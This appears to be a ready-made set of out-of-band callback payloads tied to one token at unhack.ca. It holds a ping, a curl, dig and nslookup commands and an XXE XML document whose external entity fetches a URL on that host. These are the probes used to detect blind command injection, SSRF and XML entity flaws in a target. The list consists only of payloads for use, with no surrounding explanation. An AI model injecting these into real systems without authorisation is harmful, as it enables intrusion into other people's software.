$ ping -c1 -p 009c85b8536953b41b43aba7782b5800 unhack.ca
 

$ curl http://unhack.ca/p/9c85b8536953b41b43aba7782b58
 

$ dig 9c85b8536953b41b43aba7782b58 @unhack.ca
 

$ dig 9c85b8536953b41b43aba7782b58.ns.unhack.ca
 

C:\> nslookup 9c85b8536953b41b43aba7782b58 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/9c85b8536953b41b43aba7782b58">]>
    <foo>&xxe;</foo>